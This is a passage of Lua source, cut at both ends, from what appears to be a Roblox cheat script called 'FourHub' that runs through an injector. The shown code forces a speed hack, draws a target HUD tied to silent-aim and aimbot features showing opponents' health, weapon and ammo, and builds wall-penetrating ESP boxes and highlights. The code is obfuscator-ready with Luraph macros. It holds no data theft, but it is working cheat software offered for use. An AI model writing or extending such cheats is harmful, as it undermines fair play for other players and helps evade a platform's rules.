math.min(dt * 20, 1); end))); local walkspeed_base = 16; local walkspeed_applying = false; local walkspeed_conn = nil; local function walkspeed_apply(humanoid) if not ELI.walkspeed.enable then return end; walkspeed_applying = true; humanoid.WalkSpeed = walkspeed_base * ELI.walkspeed.multiplier; walkspeed_applying = false; end; local function walkspeed_bind(humanoid) if walkspeed_conn then walkspeed_conn:Disconnect(); walkspeed_conn = nil; end; walkspeed_base = humanoid.WalkSpeed; walkspeed_conn = humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(LPH_NO_VIRTUALIZE(function() if walkspeed_applying then return end; walkspeed_base = humanoid.WalkSpeed; walkspeed_apply(humanoid); end)); trove:Add(walkspeed_conn); walkspeed_apply(humanoid); end; local function walkspeed_on_character(character) local humanoid = character:FindFirstChildOfClass("Humanoid") or character:WaitForChild("Humanoid", 5); if humanoid then walkspeed_bind(humanoid) end; end; if local_player.Character then walkspeed_on_character(local_player.Character); end; trove:Add(local_player.CharacterAdded:Connect(walkspeed_on_character)); local walkspeed_active = false; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() local character = local_player.Character; local humanoid = character and character:FindFirstChildOfClass("Humanoid"); if not humanoid then return end; if ELI.walkspeed.enable then walkspeed_active = true; local desired = walkspeed_base * ELI.walkspeed.multiplier; if math.abs(humanoid.WalkSpeed - desired) > 0.05 then walkspeed_applying = true; humanoid.WalkSpeed = desired; walkspeed_applying = false; end; elseif walkspeed_active then walkspeed_active = false; walkspeed_applying = true; humanoid.WalkSpeed = walkspeed_base; walkspeed_applying = false; end; end))); end do local forced = false; if not Library.__FourHubDragHooked and type(Library.MouseIsOverFrame) == "function" then Library.__FourHubDragHooked = true; local old_mouse_over = Library.MouseIsOverFrame; Library.MouseIsOverFrame = function(self, frame, input) if not Library.MenuOpen and frame == Library.KeybindFrame then return false; end; return old_mouse_over(self, frame, input); end; end; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if not Library.MenuOpen then Library.CantDragForced = true; forced = true; elseif forced then Library.CantDragForced = false; forced = false; end; end))); end; local accent_color = Library.AccentColor; local accent_color_dark = Color3.fromRGB(55, 58, 72); local main_color = Library.MainColor; local background_color = Library.BackgroundColor; local outline_color = Library.OutlineColor; local font_color = Library.FontColor; local dim_color = Library.FontColor; local white_color = Color3.new(1, 1, 1); local hud_font = Font.new("rbxasset://fonts/families/Code.json"); local device_map = { ["MouseKeyboard"] = "pc", ["Touch"] = "mobile", ["Gamepad"] = "console", ["VR"] = "vr", }; local G2L = {}; G2L["1"] = Instance.new("ScreenGui"); G2L["1"]["Name"] = "FourHubdatargethud"; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Global; G2L["1"]["DisplayOrder"] = 998; G2L["1"]["ResetOnSpawn"] = false; G2L["1"]["Parent"] = local_player:WaitForChild("PlayerGui"); G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BackgroundColor3"] = Color3.new(0, 0, 0); G2L["2"]["BorderSizePixel"] = 0; G2L["2"]["Position"] = UDim2.fromOffset(14, 100); G2L["2"]["Size"] = UDim2.fromOffset(480, 160); G2L["2"]["Visible"] = false; G2L["2"]["ZIndex"] = 1; G2L["2"]["Active"] = true; G2L["3"] = Instance.new("Frame", G2L["2"]); G2L["3"]["BackgroundColor3"] = main_color; G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["Position"] = UDim2.fromOffset(1, 1); G2L["3"]["Size"] = UDim2.new(1, -2, 1, -2); G2L["3"]["ZIndex"] = 1; local hud_stroke = Instance.new("UIStroke", G2L["3"]); hud_stroke.Color = accent_color; hud_stroke.Thickness = 1; hud_stroke.Transparency = 0; G2L["4"] = Instance.new("Frame", G2L["3"]); G2L["4"]["BackgroundColor3"] = background_color; G2L["4"]["BorderColor3"] = outline_color; G2L["4"]["Position"] = UDim2.fromOffset(8, 8); G2L["4"]["Size"] = UDim2.new(1, -16, 1, -16); G2L["4"]["ZIndex"] = 1; G2L["5"] = Instance.new("Frame", G2L["4"]); G2L["5"]["BackgroundColor3"] = background_color; G2L["5"]["BorderColor3"] = Color3.new(0, 0, 0); G2L["5"]["BorderMode"] = Enum.BorderMode.Inset; G2L["5"]["Size"] = UDim2.fromScale(1, 1); G2L["5"]["ZIndex"] = 1; G2L["6"] = Instance.new("Frame", G2L["5"]); G2L["6"]["BackgroundColor3"] = main_color; G2L["6"]["BorderColor3"] = outline_color; G2L["6"]["Position"] = UDim2.fromOffset(8, 8); G2L["6"]["Size"] = UDim2.new(1, -16, 1, -16); G2L["6"]["ZIndex"] = 2; G2L["7"] = Instance.new("Frame", G2L["6"]); G2L["7"]["BackgroundColor3"] = Color3.new(0, 0, 0); G2L["7"]["BorderSizePixel"] = 0; G2L["7"]["Position"] = UDim2.new(1, -54, 0, 4); G2L["7"]["Size"] = UDim2.fromOffset(48, 48); G2L["7"]["ZIndex"] = 3; G2L["8"] = Instance.new("Frame", G2L["7"]); G2L["8"]["BackgroundColor3"] = background_color; G2L["8"]["BorderColor3"] = outline_color; G2L["8"]["BorderMode"] = Enum.BorderMode.Inset; G2L["8"]["Size"] = UDim2.fromScale(1, 1); G2L["8"]["ZIndex"] = 4; local weapon_highlight = Instance.new("Frame", G2L["7"]); weapon_highlight.BackgroundTransparency = 1; weapon_highlight.BorderSizePixel = 0; weapon_highlight.Size = UDim2.fromScale(1, 1); weapon_highlight.ZIndex = 6; weapon_highlight.Visible = false; local wh_stroke = Instance.new("UIStroke", weapon_highlight); wh_stroke.Color = Library.AccentColor; wh_stroke.Thickness = 1; wh_stroke.Transparency = 0; G2L["9"] = Instance.new("ImageLabel", G2L["8"]); G2L["9"]["BackgroundTransparency"] = 1; G2L["9"]["Size"] = UDim2.fromScale(1, 1); G2L["9"]["Image"] = ""; G2L["9"]["ScaleType"] = Enum.ScaleType.Fit; G2L["9"]["ZIndex"] = 5; G2L["10"] = Instance.new("TextLabel", G2L["8"]); G2L["10"]["BackgroundTransparency"] = 1; G2L["10"]["Size"] = UDim2.fromScale(1, 1); G2L["10"]["FontFace"] = hud_font; G2L["10"]["TextColor3"] = Color3.fromRGB(70, 72, 95); G2L["10"]["TextSize"] = 18; G2L["10"]["Text"] = "?"; G2L["10"]["ZIndex"] = 5; G2L["10"]["Visible"] = true; G2L["11"] = Instance.new("TextLabel", G2L["6"]); G2L["11"]["BackgroundTransparency"] = 1; G2L["11"]["Position"] = UDim2.fromOffset(7, 6); G2L["11"]["Size"] = UDim2.new(1, -68, 0, 18); G2L["11"]["FontFace"] = hud_font; G2L["11"]["TextColor3"] = white_color; G2L["11"]["TextSize"] = 16; G2L["11"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["11"]["TextStrokeTransparency"] = 0; G2L["11"]["RichText"] = true; G2L["11"]["Text"] = ""; G2L["11"]["ZIndex"] = 3; G2L["12"] = Instance.new("TextLabel", G2L["6"]); G2L["12"]["BackgroundTransparency"] = 1; G2L["12"]["Position"] = UDim2.fromOffset(7, 24); G2L["12"]["Size"] = UDim2.new(1, -68, 0, 11); G2L["12"]["FontFace"] = hud_font; G2L["12"]["TextColor3"] = dim_color; G2L["12"]["TextSize"] = 11; G2L["12"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["12"]["TextStrokeTransparency"] = 0; G2L["12"]["RichText"] = true; G2L["12"]["Text"] = ""; G2L["12"]["ZIndex"] = 3; G2L["13"] = Instance.new("Frame", G2L["6"]); G2L["13"]["BackgroundColor3"] = outline_color; G2L["13"]["BorderSizePixel"] = 0; G2L["13"]["Position"] = UDim2.fromOffset(7, 40); G2L["13"]["Size"] = UDim2.new(1, -68, 0, 1); G2L["13"]["ZIndex"] = 3; G2L["14"] = Instance.new("TextLabel", G2L["6"]); G2L["14"]["BackgroundTransparency"] = 1; G2L["14"]["Position"] = UDim2.fromOffset(7, 46); G2L["14"]["Size"] = UDim2.new(1, -68, 0, 12); G2L["14"]["FontFace"] = hud_font; G2L["14"]["TextColor3"] = font_color; G2L["14"]["TextSize"] = 11; G2L["14"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["14"]["TextStrokeTransparency"] = 0; G2L["14"]["RichText"] = true; G2L["14"]["Text"] = "health"; G2L["14"]["ZIndex"] = 3; G2L["15"] = Instance.new("TextLabel", G2L["6"]); G2L["15"]["BackgroundTransparency"] = 1; G2L["15"]["Position"] = UDim2.fromOffset(7, 46); G2L["15"]["Size"] = UDim2.new(1, -68, 0, 12); G2L["15"]["FontFace"] = hud_font; G2L["15"]["TextColor3"] = white_color; G2L["15"]["TextSize"] = 11; G2L["15"]["TextXAlignment"] = Enum.TextXAlignment.Right; G2L["15"]["TextStrokeTransparency"] = 0; G2L["15"]["Text"] = ""; G2L["15"]["ZIndex"] = 3; G2L["16"] = Instance.new("Frame", G2L["6"]); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(20, 20, 20); G2L["16"]["BorderSizePixel"] = 0; G2L["16"]["Position"] = UDim2.fromOffset(7, 61); G2L["16"]["Size"] = UDim2.new(1, -68, 0, 2); G2L["16"]["ZIndex"] = 3; G2L["17"] = Instance.new("Frame", G2L["16"]); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(20, 20, 20); G2L["17"]["BorderSizePixel"] = 0; G2L["17"]["Size"] = UDim2.fromScale(1, 1); G2L["17"]["ZIndex"] = 4; G2L["18"] = Instance.new("Frame", G2L["17"]); G2L["18"]["BackgroundColor3"] = accent_color; G2L["18"]["BorderSizePixel"] = 0; G2L["18"]["Size"] = UDim2.fromScale(1, 1); G2L["18"]["ZIndex"] = 5; G2L["19"] = Instance.new("Frame", G2L["18"]); G2L["19"]["BackgroundColor3"] = accent_color; G2L["19"]["BorderSizePixel"] = 0; G2L["19"]["Position"] = UDim2.new(1, 0, 0, 0); G2L["19"]["Size"] = UDim2.new(0, 1, 1, 0); G2L["19"]["ZIndex"] = 6; G2L["20"] = Instance.new("TextLabel", G2L["6"]); G2L["20"]["BackgroundTransparency"] = 1; G2L["20"]["Position"] = UDim2.fromOffset(7, 68); G2L["20"]["Size"] = UDim2.new(1, -68, 0, 13); G2L["20"]["FontFace"] = hud_font; G2L["20"]["TextColor3"] = dim_color; G2L["20"]["TextSize"] = 11; G2L["20"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["20"]["TextStrokeTransparency"] = 0; G2L["20"]["Text"] = "weapon"; G2L["20"]["ZIndex"] = 3; G2L["21"] = Instance.new("TextLabel", G2L["6"]); G2L["21"]["BackgroundTransparency"] = 1; G2L["21"]["Position"] = UDim2.fromOffset(7, 68); G2L["21"]["Size"] = UDim2.new(1, -68, 0, 13); G2L["21"]["FontFace"] = hud_font; G2L["21"]["TextColor3"] = dim_color; G2L["21"]["TextSize"] = 11; G2L["21"]["TextXAlignment"] = Enum.TextXAlignment.Right; G2L["21"]["TextStrokeTransparency"] = 0; G2L["21"]["Text"] = ""; G2L["21"]["ZIndex"] = 3; G2L["22"] = Instance.new("TextLabel", G2L["6"]); G2L["22"]["BackgroundTransparency"] = 1; G2L["22"]["Position"] = UDim2.fromOffset(7, 83); G2L["22"]["Size"] = UDim2.new(1, -68, 0, 13); G2L["22"]["FontFace"] = hud_font; G2L["22"]["TextColor3"] = dim_color; G2L["22"]["TextSize"] = 11; G2L["22"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["22"]["TextStrokeTransparency"] = 0; G2L["22"]["Text"] = "ammo"; G2L["22"]["ZIndex"] = 3; G2L["23"] = Instance.new("TextLabel", G2L["6"]); G2L["23"]["BackgroundTransparency"] = 1; G2L["23"]["Position"] = UDim2.fromOffset(7, 83); G2L["23"]["Size"] = UDim2.new(1, -68, 0, 13); G2L["23"]["FontFace"] = hud_font; G2L["23"]["TextColor3"] = dim_color; G2L["23"]["TextSize"] = 10; G2L["23"]["TextXAlignment"] = Enum.TextXAlignment.Right; G2L["23"]["TextStrokeTransparency"] = 0; G2L["23"]["Text"] = ""; G2L["23"]["ZIndex"] = 3; G2L["24"] = Instance.new("TextLabel", G2L["6"]); G2L["24"]["BackgroundTransparency"] = 1; G2L["24"]["Position"] = UDim2.fromOffset(7, 98); G2L["24"]["Size"] = UDim2.new(1, -68, 0, 13); G2L["24"]["FontFace"] = hud_font; G2L["24"]["TextColor3"] = dim_color; G2L["24"]["TextSize"] = 11; G2L["24"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["24"]["TextStrokeTransparency"] = 0; G2L["24"]["Text"] = "studs"; G2L["24"]["ZIndex"] = 3; G2L["25"] = Instance.new("TextLabel", G2L["6"]); G2L["25"]["BackgroundTransparency"] = 1; G2L["25"]["Position"] = UDim2.fromOffset(7, 98); G2L["25"]["Size"] = UDim2.new(1, -68, 0, 13); G2L["25"]["FontFace"] = hud_font; G2L["25"]["TextColor3"] = dim_color; G2L["25"]["TextSize"] = 11; G2L["25"]["TextXAlignment"] = Enum.TextXAlignment.Right; G2L["25"]["TextStrokeTransparency"] = 0; G2L["25"]["Text"] = ""; G2L["25"]["ZIndex"] = 3; local dragging = false; local drag_start = nil; local start_pos = nil; local dragcolor2 = Instance.new("Frame", G2L["1"]); dragcolor2.BackgroundColor3 = Library.AccentColor; dragcolor2.BackgroundTransparency = 0.7; dragcolor2.BorderSizePixel = 0; dragcolor2.Size = G2L["2"].Size; dragcolor2.Position = G2L["2"].Position; dragcolor2.ZIndex = 200; dragcolor2.Visible = false; G2L["2"].InputBegan:Connect(function(input) if not (Library.MenuOpen and G2L["2"].Visible) then return end; if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true; drag_start = input.Position; start_pos = Vector2.new(G2L["2"].Position.X.Offset, G2L["2"].Position.Y.Offset); dragcolor2.Position = G2L["2"].Position; dragcolor2.Visible = true; end; end); uis.InputChanged:Connect(LPH_NO_VIRTUALIZE(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragging then local delta = input.Position - drag_start; dragcolor2.Position = UDim2.fromOffset(start_pos.X + delta.X,start_pos.Y + delta.Y); end; end; end)); uis.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then if dragging then dragging = false; G2L["2"].Position = dragcolor2.Position; dragcolor2.Visible = false; end; end; end); local hud_sa_hp = 1; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function(dt) if not ELI.target_hud.enable then if G2L["2"]["Visible"] then G2L["2"]["Visible"] = false; end; dragging = false; if dragcolor2.Visible then dragcolor2.Visible = false; end; return; end; G2L["3"]["BackgroundColor3"] = Library.MainColor; G2L["4"]["BackgroundColor3"] = Library.BackgroundColor; G2L["4"]["BorderColor3"] = Library.OutlineColor; G2L["5"]["BackgroundColor3"] = Library.BackgroundColor; G2L["6"]["BackgroundColor3"] = Library.MainColor; G2L["6"]["BorderColor3"] = Library.OutlineColor; G2L["13"]["BackgroundColor3"] = Library.OutlineColor; G2L["16"]["BackgroundColor3"] = Color3.fromRGB(20, 20, 20); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(20, 20, 20); G2L["18"]["BackgroundColor3"] = Library.AccentColor; G2L["19"]["BackgroundColor3"] = Library.AccentColor; dragcolor2.BackgroundColor3 = Library.AccentColor; wh_stroke.Color = Library.AccentColor; hud_stroke.Color = Library.AccentColor; G2L["12"]["TextColor3"] = Library.FontColor; G2L["14"]["TextColor3"] = Library.FontColor; G2L["20"]["TextColor3"] = Library.FontColor; G2L["21"]["TextColor3"] = Library.FontColor; G2L["22"]["TextColor3"] = Library.FontColor; G2L["23"]["TextColor3"] = Library.FontColor; G2L["24"]["TextColor3"] = Library.FontColor; G2L["25"]["TextColor3"] = Library.FontColor; if not dragging or not Library.MenuOpen then dragging = false; dragcolor2.Visible = false; end; local method = ELI.target_hud.target_method; local plr; if method == "silent aim" and ELI.silent_aim.enable then plr = getclosest(); elseif method == "aimbot" and ELI.aimbot.enable then plr = getclosest2(); end; if not plr or not fighter_controller:GetFighter(plr) then G2L["2"]["Visible"] = false; return; end; G2L["2"]["Visible"] = true; do local scaler = G2L["2"]:FindFirstChildOfClass("UIScale"); if not scaler then scaler = Instance.new("UIScale", G2L["2"]); end; scaler.Scale = ELI.target_hud.scale or 1; end; do local hud = ELI.target_hud; local mode = hud.position_mode or "static"; local ox = hud.offset_x or 0; local oy = hud.offset_y or 0; if mode == "static" then G2L["2"]["Position"] = UDim2.fromOffset(14 + ox, 100 + oy); else local anchor; if mode == "gunpoint" and GetMuzzlePos then anchor = GetMuzzlePos(); elseif mode == "target" then local ent = fighter_controller:GetFighter(plr).Entity; local model = ent and ent.Model; local root = model and model:FindFirstChild("HumanoidRootPart"); if root then local sp = camera:WorldToViewportPoint(root.Position); anchor = Vector2.new(sp.X, sp.Y); end; end; if not anchor then local vp = camera.ViewportSize; anchor = Vector2.new(vp.X / 2, vp.Y / 2); end; local sz = G2L["2"]["AbsoluteSize"]; G2L["2"]["Position"] = UDim2.fromOffset(anchor.X - sz.X / 2 + ox, anchor.Y - sz.Y / 2 + oy); end; end; G2L["11"]["Text"] = fighter_controller:GetFighter(plr).Player.Name; G2L["12"]["Text"] = "level: " .. tostring(fighter_controller:GetFighter(plr).Player:GetAttribute("Level")) .. " device: " .. tostring(device_map[fighter_controller:GetFighter(plr):Get("Controls")] or "???") .. ""; if fighter_controller:GetFighter(plr).Entity and fighter_controller:GetFighter(plr).Entity.Model and fighter_controller:GetFighter(plr).Entity.Model:FindFirstChildOfClass("Humanoid") then local hum = fighter_controller:GetFighter(plr).Entity.Model:FindFirstChildOfClass("Humanoid"); local hp = math.floor(hum.Health or 0); local max_hp = math.floor(hum.MaxHealth or 100); if max_hp > 0 then hud_sa_hp = hud_sa_hp + (hp / max_hp - hud_sa_hp) * math.min(dt * 8, 1); end; G2L["18"]["Size"] = UDim2.fromScale(hud_sa_hp, 1); G2L["15"]["Text"] = hp .. " / " .. max_hp; end; local equipped = fighter_controller:GetFighter(plr).EquippedItem; local weapon_name = equipped and ((equipped.Info and equipped.Info.Name) or equipped.Name) or "none"; G2L["21"]["Text"] = weapon_name; local entry = item_lib.ViewModels and (item_lib.ViewModels[weapon_name] or (item_lib.ViewModels.Bundles and item_lib.ViewModels.Bundles[weapon_name])); local thumb = entry and (entry.ImageHighResolution or entry.Image or entry.Thumbnail) or ""; if thumb ~= "" then G2L["9"]["Image"] = thumb; G2L["9"]["Visible"] = true; G2L["10"]["Visible"] = false; else G2L["9"]["Image"] = ""; G2L["9"]["Visible"] = false; G2L["10"]["Visible"] = true; end; weapon_highlight.Visible = equipped and weapon_name ~= "none"; if equipped then local ammo = equipped:Get("Ammo"); if ammo == nil then for k, v in next, equipped do if tostring(k):lower() == "ammo" or tostring(k):lower() == "currentammo" then ammo = v; break; end; end; end; if ammo ~= nil and equipped.Info and equipped.Info.MaxAmmo then G2L["23"]["Text"] = tostring(ammo) .. "/" .. tostring(equipped.Info.MaxAmmo); elseif ammo ~= nil then G2L["23"]["Text"] = "???"; else G2L["23"]["Text"] = "???"; end; end; if fighter_controller:GetFighter(plr).Entity and local_player.Character and local_player.Character:FindFirstChild("HumanoidRootPart") then G2L["25"]["Text"] = math.floor((fighter_controller:GetFighter(plr).Entity.Model:FindFirstChild("HumanoidRootPart").Position - local_player.Character:FindFirstChild("HumanoidRootPart").Position).Magnitude) .. " studs"; end; end))); trove:Add(function() G2L["1"]:Destroy(); end); local esp = {}; local cache = {}; local espgui = Instance.new("ScreenGui"); espgui.Name = "ESP"; espgui.DisplayOrder = 9e9; espgui.ResetOnSpawn = false; espgui.IgnoreGuiInset = true; espgui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling; espgui.Parent = gethui(); local mainfont = Font.fromEnum(Enum.Font.Code); local fontid = "esp_font.ttf"; pcall(function() if not isfile(fontid) then writefile(fontid, game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/smallest_pixel-7.ttf")); end; if isfile("esp_font.font") then delfile("esp_font.font") end; local fontdata = { name = "ESPFont", faces = {{ name = "Regular", weight = 400, style = "normal", assetId = getcustomasset(fontid) }} }; writefile("esp_font.font", http_service:JSONEncode(fontdata)); mainfont = Font.new(getcustomasset("esp_font.font")); end); local aligncenter = Enum.TextXAlignment.Center; local alignleft = Enum.TextXAlignment.Left; local alignmid = Enum.TextYAlignment.Center; local udim2offset = UDim2.fromOffset; local v2new = Vector2.new; local v3new = Vector3.new; local csnew = ColorSequence.new; local cskp = ColorSequenceKeypoint.new; local nsnew = NumberSequence.new; local nskp = NumberSequenceKeypoint.new; local mfloor = math.floor; local mceil = math.ceil; local mclamp = math.clamp; local msin = math.sin; local mmax = math.max; local sfmt = string.format; local function makelabel(xalign) local lbl = Instance.new("TextLabel"); lbl.BackgroundTransparency = 1; lbl.TextColor3 = Color3.new(1, 1, 1); lbl.TextStrokeTransparency = 0; lbl.TextStrokeColor3 = Color3.new(0, 0, 0); lbl.TextScaled = false; lbl.TextSize = 9; lbl.FontFace = mainfont; lbl.TextXAlignment = xalign or aligncenter; lbl.TextYAlignment = alignmid; lbl.Size = udim2offset(60, 12); lbl.Visible = false; lbl.Parent = espgui; local grad = Instance.new("UIGradient"); grad.Enabled = false; grad.Parent = lbl; return lbl; end; applyTextGrad = function(lbl, seq, offset) local g = lbl:FindFirstChildOfClass("UIGradient"); if not g then return end; if seq then g.Color = seq; g.Offset = offset; g.Enabled = true; else if g.Enabled then g.Enabled = false end; end; end; esp.getweapon = function(player) local viewmodels = workspace:FindFirstChild("ViewModels"); if not viewmodels then return "None" end; local pname = player.Name; for _, child in viewmodels:GetChildren() do local parts = {}; for part in child.Name:gmatch("[^-]+") do parts[#parts + 1] = part:match("^%s*(.-)%s*$"); end; if #parts >= 2 and parts[1] == pname then return parts[2]; end; end; local firstperson = viewmodels:FindFirstChild("FirstPerson"); if firstperson then for _, child in firstperson:GetChildren() do local parts = {}; for part in child.Name:gmatch("[^-]+") do parts[#parts + 1] = part:match("^%s*(.-)%s*$"); end; if #parts >= 2 and parts[1] == pname then return parts[2]; end; end; end; return "none"; end; esp.getbounds = LPH_NO_VIRTUALIZE(function(root, dist) local hrp2d = camera:WorldToViewportPoint(root.Position); local clamped = math.min(dist, 535); local refpos = root.Position + (camera.CFrame.Position - root.Position).Unit * (dist - clamped); local rootpos = root.Position; local chartop = camera:WorldToViewportPoint(refpos + v3new(0, 3, 0)); local charbottom = camera:WorldToViewportPoint(refpos - v3new(0, 1, 0)); local charsize = (charbottom.Y - chartop.Y) / 2; local w = mfloor(charsize * 1.5); local h = mfloor(charsize * 3.2); local actualtop = camera:WorldToViewportPoint(rootpos + v3new(0, 3, 0)); local left = mfloor(hrp2d.X - charsize * 0.75); local top = mfloor(actualtop.Y); if w < 4 or h < 4 then return nil end; return left, top, w, h; end); esp.add = function(player) local cfg = ELI.esp; cache[player] = { box = {}, text = {}, bars = {} }; local c = cache[player]; c.box.filled = Instance.new("Frame"); c.box.filled.BackgroundColor3 = Color3.new(1, 1, 1); c.box.filled.BackgroundTransparency = cfg.filled.transparency; c.box.filled.BorderSizePixel = 0; c.box.filled.Visible = false; c.box.filled.ZIndex = 2; c.box.filled.Parent = espgui; c.box.filledgradient = Instance.new("UIGradient"); c.box.filledgradient.Color = csnew({ cskp(0, cfg.filled.color_start), cskp(1, cfg.filled.color_end) }); c.box.filledgradient.Rotation = cfg.filled.rotation; c.box.filledgradient.Parent = c.box.filled; c.highlight = Instance.new("Highlight"); c.highlight.Name = "\0"; c.highlight.Enabled = false; c.highlight.Adornee = nil; pcall(function() c.highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop end); c.highlight.FillColor = cfg.highlight.fill_color; c.highlight.OutlineColor = cfg.highlight.outline_color; c.highlight.FillTransparency = cfg.highlight.fill_transparency; c.highlight.OutlineTransparency = cfg.highlight.outline_transparency; pcall(function() c.highlight.Parent = core_gui end); c.box.outline = Drawing.new("Square"); c.box.outline.Color = cfg.box.outline; c.box.outline.Thickness = 1; c.box.outline.Filled = false; c.box.outline.Visible = false; c.box.square = Drawing.new("Square"); c.box.square.Color = cfg.box.color; c.box.square.Thickness = cfg.box.thickness; c.box.square.Filled = false; c.box.square.Visible = false; c.box.inline = Drawing.new("Square"); c.box.inline.Color = cfg.box.inline; c.box.inline.Thickness = 1; c.box.inline.Filled = false; c.box.inline.Visible = false; c.box.glow = Instance.new("ImageLabel"); c.box.glow.Image = "rbxassetid://110204605000367"; c.box.glow.ScaleType = Enum.ScaleType.Slice; c.box.glow.SliceCenter = Rect.new(v2new(21, 21), v2new(79, 79)); c.box.glow.AutomaticSize = Enum.AutomaticSize.XY; c.box.glow.ImageTransparency = cfg.glow.transparency; c.box.glow.ResampleMode = Enum.ResamplerMode.Pixelated; c.box.glow.Visible = false; c.box.glow.BackgroundTransparency = 1; c.box.glow.Position = udim2offset(-21, -21); c.box.glow.BorderColor3 = Color3.fromRGB(0, 0, 0); c.box.glow.Size = udim2offset(0, 0); c.box.glow.BorderSizePixel = 0; c.box.glow.BackgroundColor3 = Color3.fromRGB(255, 255, 255); c.box.glow.ZIndex = 1; c.box.glow.Parent = espgui; c.box.glowgradient = Instance.new("UIGradient"); c.box.glowgradient.Rotation = cfg.glow.rotation; c.box.glowgradient.Color = csnew({ cskp(0, cfg.glow.color_start), cskp(1, cfg.glow.color_end) }); c.box.glowgradient.Transparency = nsnew({ nskp(0, 0), nskp(1, 0) }); c.box.glowgradient.Parent = c.box.glow; local glowpad = Instance.new("UIPadding"); glowpad.PaddingTop = UDim.new(0, 21); glowpad.PaddingBottom = UDim.new(0, 20); glowpad.PaddingLeft = UDim.new(0, 21); glowpad.PaddingRight = UDim.new(0, 20); glowpad.Parent = c.box.glow; c.text.name = makelabel(aligncenter); c.text.studs = makelabel(aligncenter); c.text.tool = makelabel(alignleft); c.bars.hp = {}; c.bars.hp.lasthp = 1; c.bars.hp.lastdist = -1; c.bars.hp.lastdiststr = ""; c.bars.hp.bg = Instance.new("Frame"); c.bars.hp.bg.BackgroundColor3 = Color3.fromRGB(20, 20, 20); c.bars.hp.bg.BackgroundTransparency = 0.3; c.bars.hp.bg.BorderSizePixel = 0; c.bars.hp.bg.Visible = false; c.bars.hp.bg.ZIndex = 3; c.bars.hp.bg.Parent = espgui; local hpcorner = Instance.new("UICorner"); hpcorner.CornerRadius = UDim.new(0, 2); hpcorner.Parent = c.bars.hp.bg; local hpstroke = Instance.new("UIStroke"); hpstroke.Color = Color3.new(0, 0, 0); hpstroke.Thickness = 1; hpstroke.LineJoinMode = Enum.LineJoinMode.Round; hpstroke.Parent = c.bars.hp.bg; c.bars.hp.fill = Instance.new("Frame"); c.bars.hp.fill.BackgroundColor3 = Color3.new(1, 1, 1); c.bars.hp.fill.BackgroundTransparency = 0; c.bars.hp.fill.BorderSizePixel = 0; c.bars.hp.fill.ZIndex = 4; c.bars.hp.fill.Parent = espgui; local hpfillcorner = Instance.new("UICorner"); hpfillcorner.CornerRadius = UDim.new(0, 2); hpfillcorner.Parent = c.bars.hp.fill; c.bars.hp.gradient = Instance.new("UIGradient"); c.bars.hp.gradient.Color = csnew({ cskp(0, cfg.health.color_high), cskp(0.5, cfg.health.color_mid), cskp(1, cfg.health.color_low) }); c.bars.hp.gradient.Rotation = 90; c.bars.hp.gradient.Parent = c.bars.hp.fill; end; esp.remove = function(player) if not cache[player] then return end; local c = cache[player]; if c.box then if c.box.filled then c.box.filled:Destroy() end; if c.box.square then c.box.square:Remove() end; if c.box.outline then c.box.outline:Remove() end; if c.box.inline then c.box.inline:Remove() end; if c.box.glow then c.box.glow:Destroy() end; end; if c.text then if c.text.name then c.text.name:Destroy() end; if c.text.studs then c.text.studs:Destroy() end; if c.text.tool then c.text.tool:Destroy() end; end; if c.bars and c.bars.hp then if c.bars.hp.bg then c.bars.hp.bg:Destroy() end; if c.bars.hp.fill then c.bars.hp.fill:Destroy() end; end; if c.highlight then pcall(function() c.highlight:Destroy() end) end; cache[player] = nil; end; esp.hide = function(player) if not cache[player] then return end; local c = cache[player]; if c.box then if c.box.filled then c.box.filled.Visible = false end; if c.box.square then c.box.square.Visible = false end; if c.box.outline then c.box.outline.Visible = false end; if c.box.inline then c.box.inline.Visible = false end; if c.box.glow then c.box.glow.Visible = false end; end; if c.text then if c.text.name then c.text.name.Visible = false end; if c.text.studs then c.text.studs.Visible = false end; if c.text.tool then c.text.tool.Visible = false end; end; if c.bars and c.bars.hp then if c.bars.hp.bg then c.bars.hp.bg.Visible = false end; if c.bars.hp.fill then c.bars.hp.fill.Visible = false end; end; if c.highlight and c.highlight.Enabled then c.highlight.Enabled = false end; end; local tickval = 0; esp.update = LPH_NO_VIRTUALIZE(function(player) if not cache[player] then return end; local character = player.Character; if not character or not character.Parent then esp.hide(player) return end; local root = character:FindFirstChild("HumanoidRootPart"); local hum = character:FindFirstChildWhichIsA("Humanoid"); if not root or not hum then esp.hide(player) return end; if hum.Health <= 0 then esp.hide(player) return end; local cfg = ELI.esp; if cfg.team_check and player:GetAttribute("TeamID") ~= nil and player:GetAttribute("TeamID") == local_player:GetAttribute("TeamID") then esp.hide(player); return end; local rootpos = root.Position; local camcf = camera.CFrame.Position; local dist = (camcf - rootpos).Magnitude; if dist > cfg.max_dist then esp.hide(player) return end; local _, onscreen = camera:WorldToViewportPoint(rootpos); if not onscreen then esp.hide(player) return end; local left, top, w, h = esp.getbounds(root, dist); if not left then esp.hide(player) return end; local c = cache[player]; local cbox = c.box; local ctext = c.text; local chp = c.bars.hp; local espVisible = false; if cfg.visible.enable then if (tickval - (c.visT or 0)) >= 0.05 then local ok, seen = pcall(check_wall, root); c.vis = ok and seen == true; c.visT = tickval; end; espVisible = c.vis == true; end; 